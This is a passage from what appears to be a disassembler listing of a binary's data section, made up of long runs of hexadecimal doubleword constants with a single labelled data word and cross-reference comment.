34C4A300h dd 0BE922D3Fh, 24FEEF05h, 0F8FCCA11h, 13A0C928h, 21B4B9D3h dd 64D97414h, 10769BB8h, 0AD6C1500h, 0B8F95F97h, 50950BC3h dd 60F0D1AAh, 12FDD00h, 5274F486h, 0FBC30371h, 464D28A0h dd 0DC8F18BAh, 50CEC742h, 0A44070DCh, 0DC606Fh, 0AEEF3DD0h dd 0B8FDCE05h, 0AC88C49Ah, 495BA483h, 1EB14888h, 8057067Fh dd 0E86FEE78h, 9000DBCEh, 6B2CEB9Dh, 9A97FF94h, 9C5E0070h dd 0F46A6107h, 0D225590Eh, 88F884h, 0E91F5854h, 0C047874h dd 54BE67F2h, 7C4880AFh, 1F14B56Fh, 0A52D99E5h, 86132000h dd 25FEE97Ah, 0DAF725h, 63DF953Ch, 0F66D00F8h, 39A1188Ch dd 0F000F35Fh, 98BA999Eh, 78315EBh, 266E1EB7h, 538FCACh dd 14B36F2Eh, 62BA8500h, 1B0E01Ah, 0C2599C36h, 0F0812492h dd 970018CDh, 34AA3768h, 0BA0A1E0h, 67535BC8h, 485E1800h dd 0D8984C15h, 18221F38h, 0AE111A43h, 4E383E72h, 0D0C0DB00h dd 8E3FD240h, 80A86417h, 7A01484Bh, 0B04A1730h, 2FC84155h dd 7088FCE3h, 0B34B601Ch, 6FE9CB0h, 7EC4BF7Bh, 0C7001133h dd 908C969Bh, 0BFF1107h, 0B2A07CABh, 8055478h, 496FFBFDh dd 0EC3A18E8h, 6CA40B5Bh, 80B7ACD2h, 6D41BD0h, 0D6826E0h dd 0C1DC048Dh, 7404AF86h, 0FA002095h, 880F84BBh, 70475Ch dd 4962CC6Eh, 1D16965h, 97087E31h, 20E013C2h, 57704751h dd 43498E01h, 55F5D20Ah, 0D757E03Eh, 90E89C00h, 0F21F18A5h dd 0BB970F6Dh, 8200EA9Fh, 285C24ADh, 0F5D0AA01h, 0A96D070Dh dd 9E5ED4h, 0CDA4792Bh, 4716C299h, 56D6A200h, 714F42BDh dd 3CE40E55h, 1DC15F50h, 6B6B91F3h, 0C3970C23h, 8A758068h dd 0FBB400A5h, 0C0DE61DAh, 12077E9Ch, 0CFA39E51h, 0AD661EB1h dd 293CD62Bh, 0BA3CC095h, 9C9091h, 236B93C0h, 0D68B2E21h dd 3272F90Fh, 5BFFA0B0h, 3FAB39Fh, 0AEE29C3Bh, 26F04C46h dd 8D4B5C29h, 90595CA0h, 331E0180h, 4431997Ch, 0CCC02BC3h dd 0F44F7B97h, 0B82F0061h, 0BBC156C8h, 7507FD0Bh, 2388AF87h dd 4DA2BEF0h, 659001EAh, 5305DEFh, 0AF1830D0h, 2513A8F2h dd 7401A9DEh, 83CAD633h, 24F31870h, 92B4BB56h, 891F0F79h dd 960B1200h, 5102F0AAh, 0F4F1CF1Ch, 6A487E3h, 0E0EC34F0h dd 4D8B0056h, 0F98A08D4h, 1B004113h, 0E864FE15h, 3B107761h dd 57968FA0h, 0B080C35Dh, 0D1A2CA0h, 0D6331133h, 39780105h dd 0FA5CA6BEh, 0A4093B5Fh, 5B3000C3h, 8E25CFh, 42A0232h dd 0E9D76E92h, 0C9343109h, 40DC745Ah, 64F4EF96h, 7CA0474Eh dd 0A7B90043h, 0C4851899h, 9DE22098h, 2E376139h, 0AF28A83Dh dd 0DC91D0C3h, 578DC24Ch, 0A94D7000h, 63006F41h, 0A1B21FD3h dd 0FCBA7469h, 487F7D89h, 2E3A18A6h, 940B19F8h, 206210A7h dd 41985AA5h, 8E1C6101h, 0F8B5A5E6h, 1778002Ah, 0C3B34E25h dd 1A0AB000h, 50A2C60Ch, 98F412FEh, 30A8F5h, 0F9D3102h dd 25B45C4Fh, 44709FCBh, 16037148h, 20A0C1EAh, 0D0FF5BA9h dd 0C7D62AB8h, 0C836CB2Dh, 0E8C3ECh, 4B3A9E6Eh, 7207E4Fh dd 2012214Ah, 5D3F441h, 0B2E0DD47h, 0BE57008Bh, 8D78E24Bh dd 0E0276F95h, 0B4700Ah, 76E44927h, 24F60FDDh, 0C106AFFAh dd 0F38EA9ADh, 3EEE0E44h, 320A47Bh, 982C6930h, 5E02BC98h dd 7425DCE0h, 8134D6A6h, 14395751h, 60DC311Dh, 4013197Ch dd 4C001FCAh, 0B8FAB4F0h, 711213C6h, 86A8009Ch, 8083EDB1h dd 484B3200h, 97038A3h, 0FD160B5Ah, 3AA4B9A5h, 60A0C15Fh dd 0FCD91381h, 802B0D47h, 319FD215h, 1B553Fh, 27192A49h dd 0CAA882F3h, 1A13468h, 0B5079203h, 0C2F0CC25h, 39E0D7F1h dd 0E860ED38h, 0B76B0519h, 914002A4h, 7F63289Dh, 0AC4FE850h dd 11838CBh, 139711DCh, 2E00E5F6h, 558AB24Ah, 0F080F151h dd 0BCB4480Ah, 6CC15B00h, 0F986987Eh, 8063BC3Bh, 0D252FC87h dd 7872C5BAh, 18851609h, 3410000Ch, 5C5B8391h, 155EDD00h dd 0F13A2D57h, 3707001Dh, 260F4EFDh, 7C03F6EEh, 9314BFEh dd 0EDF000DCh, 0F9650B78h, 3A133FD3h, 6CC0CC93h, 3099DED2h dd 2E28E488h, 664AC3B9h dd 278D088h, 79170AC7h, 0DC802A19h, 61122E2Bh, 18814E0Ch dd 0A1EC8F9h, 5887F68Dh, 1D5500D4h, 0D4EA6D3Fh, 0BAAB543Dh dd 5626008Ch, 3638173Bh, 0DEC707AEh, 0F9D9E6ADh, 101C5806h dd 0FECDC0F3h, 260235E2h, 626E41D8h, 81AC5ED6h, 2E596A43h dd 904C708Ch, 3764C4Ch, 0E7D7B2F3h, 96DDA071h, 3EFFCD6h dd 7CA2CA4Dh, 9BB1B120h, 4047F1F0h, 19D0C785h, 300E8B1h dd 206C5ED1h, 96260E8Eh, 5B00738Ah, 0C0A5E399h, 3DEB00Ch dd 785A191Ch, 0D4220090h, 6106106Ah, 7F00FF4Fh, 0DF8B7C02h dd 0E83FD6h, 1030C9DBh, 0FC24B595h, 54DDF926h, 62DE4D80h dd 793A6B31h, 0FE90048Fh, 0AC14FD92h, 8021EF00h, 970700A6h dd 0FC50C265h, 0E12D24Dh, 31B14F24h, 0C4FB49C1h, 0AB308F67h dd 54CE4089h, 3D4570A7h, 6C964143h, 80301FB7h, 0D15538AEh dd 8B004847h, 8E1E6764h, 3F2DE0CDh, 128AFB36h, 2D49DECh dd 7C613F41h, 7E035CF4h, 9B0A9942h, 5C38F973h, 48E865F8h dd 64094D32h, 0E680FB8Dh, 7D6087C3h, 0C6D74709h, 0FFB0A3EDh dd 0B759B311h, 8F1BF180h, 0C3816E5h, 88E880A7h, 110E8032h dd 20A05D9Fh, 0D1338390h, 7891005Ah, 49040B01h, 0CC25BBD5h dd 74D221h, 24FB4697h, 513CABE4h, 0E908419Fh, 939C60h dd 8819CE0h, 568B7F05h, 80E89A3Eh, 3B55C864h, 0B86A45h dd 0AA6528E7h, 67177AEDh, 9F8D1D09h, 0F747AF7h, 684A951Bh dd 38EA44C0h, 99F03771h, 3233721Eh, 78B81D13h, 39008470h dd 0A6C98F2h, 73C09EC7h, 0BE5A00B7h, 1BCD04B5h, 0E05C959Ah dd 0F2007FFCh, 9C910DF8h, 9F92E5h, 56626C5Ah, 0B69A952Bh dd 0CA17EF00h, 6421ECC7h, 0D8BA0341h, 99509EB4h, 541DA119h dd 21D09818h, 7B7C0DE0h, 81883CB2h, 415C95A8h, 0B5305F72h dd 39B0E8ADh, 7B00779Eh, 0C775080Ch, 710698DAh, 23388A33h dd 1D6B32D0h, 8498FA90h, 0B60049F2h, 53F954A8h, 0F822690Dh dd 9D880717h, 4584CCCh, 0A41FEE12h, 212AF500h, 97A4D0h dd 0D89AF326h, 0A785553Bh, 0B0F2BC1Ch, 0C101F4FEh, 0ABF8489Fh dd 7BF08105h, 35761C30h, 8B02845Ah, 0E017C4CAh, 2200899Ch dd 0A1EC4162h, 84096Eh, 9F45AB73h, 1E132AFCh, 0AEFD3D15h dd 5FE301C4h, 81690384h, 6F3261h, 0C87F4CF0h, 0BC60FE24h dd 61DD6229h, 7E101E5Fh, 531DC73Ch, 30EA533h, 490E3C8h dd 26A4D9D8h, 9979BE0Ch, 749154h, 46D008CCh, 0D12B1C90h dd 0EC009EECh, 0C31BD6F9h, 1210EA2Dh, 0B93526BCh, 0B2037E1Ch dd 0B66B793Ah, 5145B89Eh, 4969006Fh, 9524C6B7h, 0EF03E6F2h dd 549F1E6Bh, 0D0A4F0CCh, 214837A5h, 0AFEB079h, 8F0F5E31h dd 0FB247ADh, 2963E080h, 5ACAB767h, 5308B0B1h, 0F6E0A954h dd 16B56100h, 8407FD73h, 0FDF3B04h, 88E67600h, 0D4F98522h dd 8BA43000h, 8EFC7FEFh, 7CF800DAh, 6F6EEC89h, 7E0798BFh dd 316DE187h, 716D007Bh, 0FA6D48Fh, 0E76303DCh, 7853B540h dd 600FFC80h, 1340D988h, 82818EEh, 0E5B8A17Fh, 1D4F03Bh dd 0FE63FC54h, 96C47E38h, 0E2B01670h, 0FA500ADAh, 0A22F00BFh dd 8CD074EEh, 28422C00h, 86708549h, 0CF3F1E65h, 0B20E00C9h dd 0AEC2B4FDh, 0D589EA00h, 3975296Bh, 0B034EEE2h, 3DBDEC6Ah dd 9C0044A2h, 75D741A9h, 7274F482h, 0F0F15B30h, 30633E53h dd 4BA854BBh, 0B677FF26h, 0AFAA4806h, 7084CDBh, 92F7186h dd 0C727E57Dh, 35244348h, 4E2B8D88h, 38F8BCFEh, 0E374CC7Ch dd 28A7780Fh, 7A88F3Fh, 174694F7h, 2EB70010h, 297C3BE7h dd 7900D3F4h, 0B06C1AFBh, 0C75018h, 770FEF8Dh, 753D31BBh dd 927A71Fh, 39335D01h, 0E9E062CCh, 30BAE9CAh, 4DF1B703h dd 8A0B5CBh, 24009468h, 2A6C803Bh, 2851C23Ah, 8F64B001h dd 0FCF05D04h, 0A0125878h, 5E03BA02h, 6C204804h, 3706E4Bh dd 580D46D9h, 82C37B1h, 7281B85Fh, 7B86E53h, 4322CF8h dd 0FD184E4Fh, 0CDF44034h, 0EA7CA2Eh, 0AD608BA6h, 34C41343h dd 567292F0h, 8D1F5978h, 2B02E588h, 0A981ADh, 2E601A4Ah dd 77CF88h, 0F8D48B1Ch, 0E59208F4h, 9106E3F2h, 50AF6C7Eh dd 5BDC0E48h, 0D8984C85h, 0BE185535h, 0FE9AC9Bh, 2107007Ah dd 568C198h, 8CC912Fh, 3513102h, 8F690772h, 0F09931DFh dd 96708284h, 7D8CD5Ah, 906E33D5h, 5F181814h, 0BF210E50h dd 0A81E3040h, 0EB039FF4h, 6E4A01A4h, 184ED96Fh, 52718883h dd 72876E00h, 0AD5F6451h, 941A50F0h, 2AA9791Ch, 0D8FE14h dd 0AA17470Ah, 4838557Ch, 37ED831Dh, 4C00E02Ah, 0C7176043h dd 0A75F8CBh, 2B93FA0Fh, 0D97B81F4h, 80369887h, 6C172EA8h dd 388015BFh, 48E1EC91h, 9D719311h, 3A067D31h, 51157B1h dd 41BEC43Bh, 0D5D84C5Dh, 21C02809h, 5ABE9C1Bh, 0FAD6312Bh dd 409211B1h, 0C2917B20h, 0B98E9402h, 0A4551356h, 0A9605334h dd 5D1048BEh, 94B0D790h, 0C007BEC1h, 20BFD974h, 0D2ECD0CDh dd 0CE14925h, 0EE930404h, 637C0E83h, 1832905Eh, 49DEB628h dd 7879AD5Ch, 9F58C348h, 24907212h, 10BD290h, 4FE3761Dh dd 0F05324C1h, 3160C468h, 21D29848h, 0BA20CE1Bh, 24073549h dd 202CC688h, 7A370AE6h, 2EC190F7h, 1D07E11h, 5F863083h dd 9805D798h, 3F40850h, 94DAA41Fh, 1C1DA9D0h, 7BFE09AAh dd 82AB0424h, 6E30C268h, 77D0B707h, 14468ACh, 76500EDh dd 0F65AA55Eh, 19C01C9Bh, 0D43B74F7h, 81AC0061h, 6A2E473Eh dd 0C50FC04Bh, 0E35F1130h, 0A86FD6A1h, 0A0A8F3D5h, 4F5D7D90h dd 65A7E038h, 46014893h, 5D7C9F17h, 44880718h, 0A117145Fh dd 0C508981Eh, 3097811h, 20903041h, 0D975116Eh, 8084887Eh dd 2F6E4873h, 6F0C453Fh, 81F93AE7h, 8643003Dh, 7C02CA1Dh dd 13677A5Bh, 5E00AEE9h, 0AE370EEh, 86A067D9h, 9A4E0ECCh dd 882359BBh, 6E1E0943h, 222E9405h, 6D207D44h, 9776E46h dd 0E399FA5Eh, 0FD542420h, 0D4A00EA3h, 3128A405h, 60469468h dd 0A6174B01h, 0B31357Ch, 17440976h, 2182C48Ah, 1C40DCF7h dd 980C708Eh, 0C8F45E0Ah, 0D3E1447h, 5FE8A038h, 7956008Ch dd 0D93C0EABh, 0DD39CC21h, 0F0FAA8ADh, 66593A02h, 0A01A9BACh dd 843CA8A0h, 30B00016h, 3AF340B3h, 6DE60180h, 504DC201h dd 39B212Bh, 0B1183180h, 0F349969Dh, 0BDDE5C01h, 3D9A3094h dd 1088D940h, 4863E4B8h, 0F612DC47h, 48FC08F3h, 4BBEA6C0h dd 8FB8435Dh, 9E4FFC21h, 11B3A55Eh, 0E97DB802h, 4E5CC7D3h dd 3A0A82B1h, 0B1C0A011h, 0E93466h, 0A1AE3B35h, 0E5F81749h dd 2AB0740Eh, 4E4D5D5h, 6AC2947Bh, 9B20E089h, 82098C0h dd 34AD118h, 597B5B0Dh, 193DABF0h, 0B01B50ADh, 30B4557Ah dd 0FC1024C8h, 0AD5B400h, 461F4272h, 0FE0F005Ch, 0E16AE328h dd 4A63AD27h, 0F8F25B38h, 98FA9174h, 200A000Eh, 19920E4Ch dd 4DE8E696h, 5B6C410Fh, 0B6613883h, 61A0A8DFh, 89370708h dd 0F7F30C71h, 9FB58070h, 47564C7Fh, 0BEA51EC4h, 0C4B05D88h dd 0BD904132h, 0E6F8E8BEh, 0A29609A7h, 0EC0004C3h, 400D36CFh dd 1842C8A1h, 7C6E081Fh, 0F37326D9h, 0D9D29047h, 8754245Fh dd 2C9F02D4h, 8F0914DAh, 0C26CA644h, 0C46D32F8h, 8AC6B08h dd 4E74ACF9h, 23F25E00h, 0A8AD3E99h, 8FBCA006h, 5C80E294h dd 0D029345Ch, 8B030BE8h, 3CE84388h, 0A91D4104h, 40DC9972h dd 257CAC05h, 39C0DC91h, 2BA1742h, 6897AD12h, 0BCA1B6D9h dd 0C4F118AFh, 0A800FA82h dd 8C5EEC56h, 4D553609h, 6980E4BDh, 79982007h, 5211F58Ch dd 0F5E1D861h, 2B243B05h, 0B0081BB0h, 6E4CC05Dh, 1E4CD969h dd 5487E000h, 0EC2D006Eh, 0C8DF2373h, 7C020FF4h, 0B29AF6ACh dd 37808077h, 0A00A589Dh, 5E42398h, 947C92E0h, 5DD89082h dd 0E0BA749Dh, 0B037522Eh, 504465Eh, 64C594FDh, 923B43Ah dd 3E02A707h, 0D37E49C0h, 0D1E09928h, 287187Eh, 0A0F6A7EDh dd 0B462FA63h, 0A684A681h, 0D584406Bh, 0F360D7C0h, 0B32B1FD9h dd 0B1CCB2BCh, 1807D1C8h, 988F0495h, 0C1DA0D5Ah, 0D17659E4h dd 5F742025h, 3A8E7C3Ch, 243C80A8h, 0A6685198h, 0D9A0A094h dd 315D3018h, 1A92DDE1h, 8758D15Ch, 80C8825Bh, 539C754Fh dd 5560FD5Fh, 6E13D2F1h, 7A3E01Ch, 514C7703h, 0F25CF06Dh dd 5492E2B7h, 828C8800h, 4B85C7ADh, 46AC1241h, 50983090h dd 0F8A1D34Ch, 97B18C3h, 0C9984A07h, 503B5C1Ch, 9B6C0073h dd 9FA6437Fh, 0FD393075h, 0A41544B1h, 0F2366700h, 7D422E7Bh dd 621B084h, 9C93B88Ah, 430B491Fh, 803208E3h, 82CA88EAh dd 126A0090h, 0B077F536h, 20947F81h, 2B140AD6h, 86D404CCh dd 2126B6A7h, 1FA1453Fh, 294085E9h, 9356C011h, 2EA7FCBh dd 6325BEADh, 0F4C4A3FEh, 4A017146h, 3D7CAB17h, 8B060C38h dd 641743D0h, 0FBB2B71Eh, 6FDEC3C0h, 12962392h, 83EFCE02h dd 0A4D4FA60h, 5A54FCDCh, 0B80031E8h, 0B4F91D44h, 4CF128A3h dd 2101F78Fh, 4C7E1362h, 0AB845849h, 5D4ABE08h, 402FC4C0h dd 5CBEC322h, 0EE16EA93h, 0A1250A26h, 38621Ah, 0A4C36DACh dd 300211A5h, 49243DE2h, 788E404h, 0B32DA909h, 0BA80E948h dd 8B3697B5h, 918DE300h, 33180408h, 0C05504BBh, 0C8396CA8h dd 0EF0057BCh, 50432D0Fh, 12FE92B9h, 14DFA9Ah, 0DBE55FC0h dd 0B8443404h, 5B12760h, 0EA72150h, 954D0336h, 586BACA0h dd 940210D2h, 0C5F43F23h, 0E5484130h, 18FA6981h, 72026763h dd 0E6023F8h, 0D9246E49h, 0C73CA236h, 86F0518Ch, 2CD20F0Ch dd 1B4AC5Eh, 9467D047h, 7B2828E3h, 48403B4Ah, 2EFB9683h dd 6C1A0314h, 24B8559Ch, 0CE5BC100h, 6A57EA1Ch, 0EF450FE5h dd 61001F09h, 256BEDA7h, 2D112112h, 6C3098CDh, 2EB04EACh dd 1842328h, 54724CEBh, 7448711Dh, 110168Ch, 0D84DF34Eh dd 28174425h, 2F808391h, 2C727104h, 709208F2h, 691E9B34h dd 46A3D600h, 6B81E3h, 61622B16h, 8B45607Bh, 6088D230h dd 0A143A0BFh, 6031ABA4h, 2852C6h, 50F1C490h, 814E2864h dd 0C7222600h, 8C2A7D0Ah, 0D6543C27h, 696E513h, 39129A98h dd 0ACBF3000h, 0AD5A37C3h, 0BEE40FF2h, 9F804A34h, 0CF6B78E8h dd 5887D90Ah, 0FCA6E085h, 5C9C14h, 3E2A6C21h, 9FA28Fh dd 978EE9A6h, 2F180552h, 5745A712h, 2AF3A402h, 2024ECD6h dd 0BF3A8362h, 54A798DFh, 2A2AB018h, 4BC08AB2h, 23A02E1Ch dd 891120Eh, 67802984h, 0AEE4042h, 7E4800EFh, 0F2D5D143h dd 900C93BCh, 8858236Ch, 0BF210C7Ch, 2EE83F4Ch, 934F4503h dd 94917014h, 0F1AC8Ch, 90CD359Bh, 0E84B0F8Ch, 0F400BDFCh dd 0D4C5B625h, 871F376Ch, 0A835CA24h, 70D4489Bh, 1E6D7D01h dd 6689B482h, 72AC0010h, 0C92A2D81h, 1A2600FCh, 0E7098255h dd 790C7553h, 0D8E42886h, 0C265249Fh, 9E23611Ch, 46C1FC09h dd 80E61600h, 0C4F06085h, 3B12F492h, 0D31FDFFEh, 0FAAC021Ah dd 0AF005596h, 0F286A19Ah, 44914A2Bh, 410B78A4h, 1039665Fh dd 681CC50h, 0A67902A5h, 2EF5FD86h, 0F4FF440h, 0FC851924h dd 4BAA6030h, 0DC740C47h, 48491D9Bh, 0AE95100h, 4FC139ACh dd 0F1FA58F1h, 13CF7501h, 267E3098h, 6C2B4ACCh, 61037D23h dd 22599325h, 0C20011B0h, 2B0FBB79h, 7D5AD24Ah, 1B080905h dd 3CA28052h, 942BE39Bh, 0FC392AACh, 3F122CCCh, 0A4E7009Fh dd 9926032Dh, 8038FE5Ch, 17F362DEh, 24673C8Dh, 32C66F81h dd 0F477D56Eh, 0F81FEF90h, 0F01A8AEh, 815BE378h, 180D583Dh dd 0C4982D8h, 0A20F1AB4h, 0C01F70F1h, 30AE483h, 0C4771DD6h dd 0B417EDAAh, 28807E91h, 5DA83A67h, 0FC840507h, 545234C3h dd 64E8C738h, 0D7E16012h, 8C4417AFh, 64C010A6h, 0EE6B4F00h dd 81B78A95h, 5B45E200h, 51EA6590h, 5F77054Ch, 8E37AD7Ah dd 3639D4Ch, 1077D9D0h, 0F684829Ch, 41120441h, 801539ACh dd 7EC308A1h, 0B63150h, 0F1B4B925h, 98A526AEh, 0F5730C02h dd 7BB0C034h, 0DC3D5828h, 0C590BA00h, 0AA23E2FEh, 1CAC2C07h dd 847B02DCh, 44605B7Ah, 261B32Bh, 562F1191h, 4C403424h dd 6B2388F6h, 4A17480Fh, 0A82EB47Ch, 2658EA50h, 2468FD17h dd 84D91148h, 490B039Dh, 5760A658h, 6416B2B1h, 71951E0Bh dd 0B80E007Eh, 912838D0h, 0D2C7A02h, 795198CAh, 190CD1DCh dd 4A3E60h, 0C8CF0671h, 0F10AD5Dh, 3033509Eh, 0D992C170h dd 6C2AF99Dh, 8AFB411Ch, 0B41215D6h, 8F41FC23h, 2A8BCCA1h dd 9AEDE4h, 68D3E7E5h, 0E862ECA7h, 8294BB27h, 46D64FA4h dd 5E7CB6B0h, 1F1F0146h, 0F9E1C4B7h, 7B18F49Bh, 96A6FC05h dd 0DCA09E0Ah, 85FCF991h, 0E1CB6AFDh, 0C1D2D9Ch, 1D800B91h dd 0E63BA7B5h, 40B8CC26h, 41D98542h, 87C9A1ABh, 98BFA9C0h dd 0EFE30902h, 201093F9h, 9AE8AB4Fh, 0D784509Ch, 0C8F4E805h dd 77DF00A2h, 53029CC1h, 0E3017629h, 0B941994Bh, 0B0317FB3h dd 632B4981h, 605F6011h, 6B4DFBECh, 0E4A88158h, 30803E48h dd 5ECA7603h, 69C0F4ADh, 48C2697Eh, 0C11100ECh, 9BFF5290h dd 0AC1C27FCh, 5DC26F7Ah, 40BA7850h, 1FEE419Fh, 411F8168h dd 0CFD014FFh, 1B40D697h, 8E00DCE3h, 4182B6D4h, 0F0DD3ECBh dd 6BEF3EE8h, 1DBE8400h, 0D1DA0198h, 0D0EE2F00h, 0A43A1787h dd 3D85B0E2h, 0C407E622h, 0D7821670h, 0A0A04796h, 1F5BC0D8h dd 0BA32E39h, 0E0CA9301h, 13A6FDBCh, 3DBA8AAh, 6F5F6C70h dd 177E182Dh, 802111CCh, 77D002A2h, 482B4C2Ch, 435F4F00h dd 0AFF4E024h, 465C08B4h, 18CF007Dh, 21412923h, 0F0B9A2h dd 667B0D6Dh, 0D54C2BD3h, 504D812Ch, 4031AD57h, 0BEC9C78h dd 24D778Ch, 0BA7677C5h, 5C23566Bh, 48B0FC05h, 16A1E088h dd 0C2780223h, 0CCF137D0h, 0BD180271h, 0F2E29900h, 0DE4FADA2h dd 0CA9225FDh, 477CE480h, 3B4A5077h, 72D4091h, 9E89C024h dd 3465EBCh, 759C9A07h, 2BE0D05Bh, 1189F8D9h, 0C80E4F2h dd 189BF574h, 60FB8339h, 0A60182EFh, 0E27297E7h, 67C48574h dd 25840A93h, 87D86831h, 5491105Ch, 535CB432h, 13974B6h dd 0FDED3962h, 5C6C7A41h, 3AA8305Ah, 25902B5Fh, 0C46E410Bh dd 0CD880B7Ch, 0AD60C010h, 3F5CCE32h, 767981A0h, 0B43CE2B4h dd 11D02B17h, 0D92C3C2Ch, 0B4FF644Ch, 481D5DB8h, 0FD05A7DEh dd 20B7103Bh, 68053D06h, 1131816h, 40CB7EE0h, 0DBC32188h dd 9B77CBC0h, 0ACA00255h, 35E56897h, 0ED58B47Bh, 552502D1h dd 0DA49A38Fh, 0AC308080h, 6090F374h, 4147C20h, 3D61D323h dd 0B94C0008h, 4EB09C94h, 0AF104756h, 6CC42BA2h, 6A90D48Bh dd 1C9A54CFh, 80BC5B54h, 0A1022B0Eh, 84AC009Ah, 1CC3AE9Ch dd 0BF1A508Dh, 0D103D613h, 0D0DE6DB0h, 0E167B84Ah, 0C702F569h dd 80C4F1F0h, 2C80446Dh, 0A200F7D7h, 27266235h, 2659C658h dd 1030CF75h, 0A4B67E86h, 0B465Ch, 0ACC48BE2h, 383DFDE6h dd 1D8AAF27h, 4080825Bh, 541C5E4Fh, 0AC75470Fh, 6407D269h dd 0AF804624h, 0BC7DADD5h dd 34465C98h, 3C626924h, 0CF766F02h, 2456AC5Fh, 420A9405h dd 0F9144B0h, 5876DFEh, 38A517A9h, 13D4A4B8h, 112758h dd 497092EBh, 58FA2907h, 5E829C96h, 685627E5h, 0D8CB2312h dd 0ACC8A87Ch, 80F4BE9Ch, 74BB47CDh, 0B13C13DDh, 0DE2C7065h dd 9C1C992Eh, 0F24A06Fh, 0EA50E5h, 1A3012D7h, 0B5711F57h dd 448F542Eh, 2BD04C89h, 916897BCh, 94888065h, 1E78AEFh dd 0E2087015h, 69B82313h, 923600CCh, 6B2E4F10h, 0A8270081h dd 166329E7h, 680BF806h, 0E89959DDh, 321FACh, 5EF6DEA2h dd 4941B9EEh, 98879500h, 43E586B8h, 7C780B8Ah, 0C0A3C69Ch dd 14BB916Dh, 25664100h, 4476209Bh, 6EC721Eh, 0B8933AA9h dd 73EA91DDh, 4684B701h, 34B3C3FFh, 2B13C06Ch, 9AB032DBh dd 98212A10h, 917C2F3Ch, 80906096h, 6C379324h, 7E02465Eh dd 5C23D12Eh, 7BA0FEC1h, 7C608271h, 4C4952D3h, 0AA92DD05h dd 7538802Fh, 71CBC039h, 0E4B71Dh, 0E5F79BDDh, 0B72207FAh dd 8DA500D8h, 3729E3DFh, 0B000909Eh, 59515C95h, 982AF1ADh dd 409B5B30h, 0B80F08F4h, 0BAF6BBFEh, 1A8C5C1Fh, 8EC0F89Ch dd 2B597BB3h, 8E154ACCh, 0E4529208h, 53E004F6h, 0DB089C20h dd 43A285Fh, 0C81EDC33h, 8C107B88h, 5F3560DEh, 81049B69h dd 39DDF07Ch, 4A744E2Ah, 0F84378A0h, 1100156Eh, 9D7A762Eh dd 0F9B5DBEh, 0D51AC9E6h, 87318978h, 1420D82Eh, 0E0F5D285h dd 0C5BAF809h, 6065C48Ch, 4A3D6Bh, 0CCA22DCh, 0F3E7CBA3h dd 2E69E312h, 0D9781402h, 8D38FAD7h, 59F46178h, 58B836CBh dd 5611070h, 7CBFD909h, 9A040058h, 762629D2h, 7DE818BCh dd 0C0F6018Ch, 5B55497Ch, 6938488Eh, 3931B89Ah, 2F11D15Fh dd 3C04A432h, 2FA0FFDh, 0FAFCC67Dh, 84A505C0h, 80C0E6BCh dd 49C91098h, 0C725FD1Eh, 0D84EB457h, 7C84E0AFh, 90552E94h dd 8CA25C10h, 0D1D22578h, 70EEE4C1h, 0FE18DA3Ch, 4A68A983h dd 86111AAAh, 0E482F016h, 5F0470F0h, 31EC9881h, 0B1AA3A00h dd 0C0E41F30h, 5A15B7C7h, 23142F75h, 807D1C6Ah, 338AA7EDh dd 22A9710h, 8B68C2Ah, 1F1501DCh, 9D85073Dh, 1C982810h dd 9393648Fh, 4730F8A1h, 4F0DFADh, 0F567FB6Ch, 0BA06D10h dd 0E0DA8303h, 0B865C04h, 0F5D81901h, 0D64CD4A8h, 0F4FFB705h dd 6CF4FD3Eh, 0EFFC63h, 43505255h, 0B822E26Ah, 409E7C9Ch dd 599E2680h, 2D9FE5Dh, 0F86A5630h, 447017A0h, 17579125h dd 960891C4h, 0B3307500h, 6B5D1A7Dh, 9E009159h, 0FBE3CDC7h dd 924D0506h, 39169Ch, 0D4B35E2Fh, 0B4A6F8A9h, 0BCFDBD12h dd 97AFDCC2h, 807E91FCh, 1A9F6507h, 66C915Ch, 0C9A96B40h dd 0FD609095h, 0D669003Ah, 18933B46h, 6870AD55h, 425CECA1h dd 74309C80h, 984B1107h, 3629D91h, 0CC076BEFh, 0DFE8D34Eh dd 49095879h, 0F1DD67A8h, 80551104h, 5D46BE9Fh, 2E448CA0h dd 0BE970396h, 40F03D8h, 9A5572D0h, 1C83B4B6h, 90F0DF24h dd 1DA0A17Dh, 0D630EBh, 0A6928D1Fh, 0F317402Ah, 0C44CFC77h dd 2A18C9AEh, 2F985062h, 9C907C5Bh, 0E24FEA09h, 7A8F04C0h dd 8441826Ch, 96F1897h, 69984607h, 0EC00041Ch, 2B630766h dd 0B0C8137Fh, 41B34ACCh, 0F5AA2394h, 0E0E826AFh, 0FAE34ACCh dd 0AFC6021Fh, 0F7CE08FEh, 0D1ECF00h, 0FB2CB8E0h, 35D54A10h dd 4C4EB59h, 310D2E7Dh, 403D8CF9h, 948F1860h, 8497C9A0h dd 1488C700h, 9BFE0E1Fh, 0F264F3F1h, 0B1CF178h, 0C032C8E0h dd 0DCA4760Dh, 22AE9A13h, 0F398081h, 42868851h, 839B90D3h dd 0A22300F2h, 900CAF6Ch, 0B1648B94h, 0C8A27E98h, 623133E2h dd 3A9D3BECh, 404EA4A7h, 0ED9B6904h, 652E1CCEh, 7C87E87Ah dd 0BD203409h db 6Eh, 74h word_505446 dw 22Ah ; DATA XREF: ___:off_4374B8o dd 19F25B76h, 0D0A2325Eh, 0F4F024ACh, 0A96220Fh, 4BC547Ah dd 33C88667h, 3D0934A8h, 0A02B049Dh, 91912506h, 114C1D95h dd 68CC8060h, 1A6666Fh, 0DCC73506h, 6AF47CA8h, 0B22AEC43h dd 11D91313h, 0FC702299h, 510120E4h, 42D3822Fh, 5024109Ch dd 0EC2500F8h, 6B0FC524h, 9B28948Eh, 0FD48B4B3h, 0F349808Ch dd 0FBD8E1h, 7C54B3Fh, 0AC5CEE73h, 4B19043Ah, 12722088h dd 32B42B11h, 84824970h, 0F20F1474h, 4D460C8h, 43A1A544h dd 554E647h, 0AA82DC9Bh, 418F4A8h, 357AC12Dh, 91DAD100h dd 0EE603323h, 754B3C4Dh, 2F1A531Eh, 559CC422h, 0E068A076h dd 0B94C6488h, 4C964B92h, 8F2860D4h, 0B608A395h, 0A629002Ah dd 0ADF5BA20h, 880B4579h, 79BD90Eh, 0FF22739Eh, 94F97Bh dd 11232FB8h, 2A0C5E9Ah, 98496E60h, 5F41254Dh, 3C536011h dd 73089A80h, 0FEFA8988h, 0D3010079h, 0C9A13FA8h, 2D9D33D8h dd 0C8444B6Fh, 0F6147C18h, 7F0581h, 766A8A6Dh, 32CBBC38h dd 855CF713h, 0E49F420h, 9C33058Bh, 8E4B91CEh, 639D68h dd 858ECE2Bh, 0B93E486Ch, 0B1E20BAEh, 64246755h, 8E01602Dh dd 